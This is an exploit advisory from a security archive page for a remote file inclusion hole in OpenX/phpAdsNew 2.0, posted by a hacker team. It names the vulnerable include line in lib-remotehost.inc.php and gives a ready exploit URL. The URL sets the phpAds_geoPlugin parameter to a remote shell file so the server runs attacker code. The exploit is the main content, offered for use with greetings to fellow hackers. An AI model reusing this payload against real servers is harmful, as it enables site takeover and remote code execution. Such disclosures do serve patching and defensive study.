OpenX phpAdsNew 2.0 remote file inclusion

2010.07.23
Credit: ViRuS Qalaa
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

# Exploit Title: OpenX (phpAdsNew) Remote File inclusion Vulnerability # Date: 2010/07/20 # Author: ViRuS Qalaa # Email: em9@live.com # My Sites : www.pal-mafia.com & www.vbspiders.com # Script url: http://www.opensourcescripts.com/dir/PHP/Ad_Management/phpadsnew_11.html # download Script: http://sourceforge.net/projects/phpadsnew/files/Current%20Release/Openads%202.0.11-pr1/Openads-2.0.11-pr1.zip/download # Version:2.0 # Tested on: Windows # Team hacker:ViRuS Qalaa & HaCkEr aRaR >>>X-MaN HaCk3r TeaM # HaCkEr aRaR: y.0@hotmail.de ::::::::::::::::::::::::: =================Exploit================= -=[ vuln c0de ]=- include_once ($phpAds_geoPlugin); /libraries/lib-remotehost.inc.php Line:109 ----exploit---- http:// {localhost}/{path}/libraries/lib-remotehost.inc.php?phpAds_geoPlugin==shell.txt? ---------greatz---------- Greatz to : hacker arar,ViRuS KSA,Q2,Spy-iq and My friends Others and My friends in MSN EnJoY o_O


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top